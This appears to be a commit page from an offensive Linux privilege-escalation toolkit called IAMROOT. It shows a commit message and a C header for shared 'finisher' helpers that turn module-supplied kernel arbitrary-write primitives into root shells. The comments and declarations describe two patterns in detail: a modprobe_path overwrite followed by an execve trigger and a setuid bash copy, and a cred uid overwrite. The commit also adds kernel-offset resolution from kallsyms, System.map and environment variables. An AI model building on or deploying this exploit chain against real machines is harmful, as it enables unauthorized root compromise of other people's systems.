125ce8a08b
Adds the infrastructure the 7 🟡 PRIMITIVE modules can wire into for
full-chain root pops.
core/offsets.{c,h}: four-source kernel-symbol resolution chain
1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, …)
2. /proc/kallsyms (only useful when kptr_restrict=0 or root)
3. /boot/System.map-$(uname -r) (world-readable on some distros)
4. embedded table keyed by uname-r glob (entries are
relative-to-_text, applied on top of an EntryBleed kbase leak;
seeded empty in v0.2.0 — schema-only — to honor the
no-fabricated-offsets rule).
core/finisher.{c,h}: shared root-pop helpers given a module's
arb-write primitive.
Pattern A (modprobe_path):
write payload script /tmp/iamroot-mp-<pid>.sh, arb-write
modprobe_path ← that path, execve unknown-format trigger,
wait for /tmp/iamroot-pwn-<pid> sentinel + setuid bash copy,
spawn root shell.
Pattern B (cred uid): stub — needs arb-READ too; modules use
Pattern A unless they have read+write.
On offset-resolution failure: prints a verbose how-to-populate
diagnostic and returns EXPLOIT_FAIL honestly.
core/module.h: + bool full_chain in iamroot_ctx
iamroot.c: + --full-chain flag (longopt 7, sets ctx.full_chain)
+ help text describing primitive-only-by-default + the
opt-in to attempt the full chain.
Makefile: add core/offsets.o + core/finisher.o to CORE_SRCS.
Build clean on Debian 6.12.86; --help renders the new flag.
81 lines
3.5 KiB
C
81 lines
3.5 KiB
C
/*
|
|
* IAMROOT — shared finisher helpers for full-chain root pops.
|
|
*
|
|
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
|
* write, slab UAF, etc.). The conversion to root is almost always one
|
|
* of two patterns:
|
|
*
|
|
* A) "modprobe_path overwrite":
|
|
* - kernel arb-write at &modprobe_path[0] with a userspace path
|
|
* - execve() an unknown-format binary triggers do_coredump's
|
|
* fallback to call_modprobe(), which spawns modprobe_path
|
|
* as init/root running our payload
|
|
*
|
|
* B) "current->cred->uid overwrite":
|
|
* - kernel arb-write at ¤t_task->real_cred->uid = 0
|
|
* (and cap_*, fsuid, etc. for completeness)
|
|
* - setuid(0); execve("/bin/sh")
|
|
*
|
|
* Pattern (A) is much simpler — only one kernel address needed
|
|
* (modprobe_path) and the trigger is just execve("/tmp/unknown").
|
|
* Pattern (B) needs a self-cred chase + multiple writes.
|
|
*
|
|
* Modules provide their own arb-write primitive via the
|
|
* iamroot_arb_write_fn callback; this file wraps the rest.
|
|
*/
|
|
|
|
#ifndef IAMROOT_FINISHER_H
|
|
#define IAMROOT_FINISHER_H
|
|
|
|
#include <stdint.h>
|
|
#include <stddef.h>
|
|
#include <stdbool.h>
|
|
#include "offsets.h"
|
|
|
|
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
|
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
|
* negative on failure. `ctx` is opaque module state. */
|
|
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
|
const void *buf, size_t len,
|
|
void *ctx);
|
|
|
|
/* Trigger that fires the arb-write. Many modules need to set up the
|
|
* groomed slab THEN call the trigger. The trigger is a separate fn
|
|
* because some modules need to re-spray before each write. NULL is
|
|
* acceptable if the arb-write is self-contained. */
|
|
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
|
|
|
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
|
* already populated `off->modprobe_path`. Implementation:
|
|
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
|
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
|
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
|
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
|
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
|
* and/or copies /bin/bash to /tmp with setuid root
|
|
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
|
*
|
|
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
|
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
|
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|
iamroot_arb_write_fn arb_write,
|
|
void *arb_ctx,
|
|
bool spawn_shell);
|
|
|
|
/* Pattern B: cred uid overwrite. Caller has populated init_task +
|
|
* cred offsets. Implementation:
|
|
* 1. Walk task linked list from init_task to find self by pid
|
|
* (this requires arb-READ too — not supplied here; B-pattern
|
|
* modules need to provide their own variant)
|
|
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
|
* helpful error. */
|
|
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
|
iamroot_arb_write_fn arb_write,
|
|
void *arb_ctx,
|
|
bool spawn_shell);
|
|
|
|
/* Diagnostic: tell the operator how to populate offsets manually. */
|
|
void iamroot_finisher_print_offset_help(const char *module_name);
|
|
|
|
#endif /* IAMROOT_FINISHER_H */
|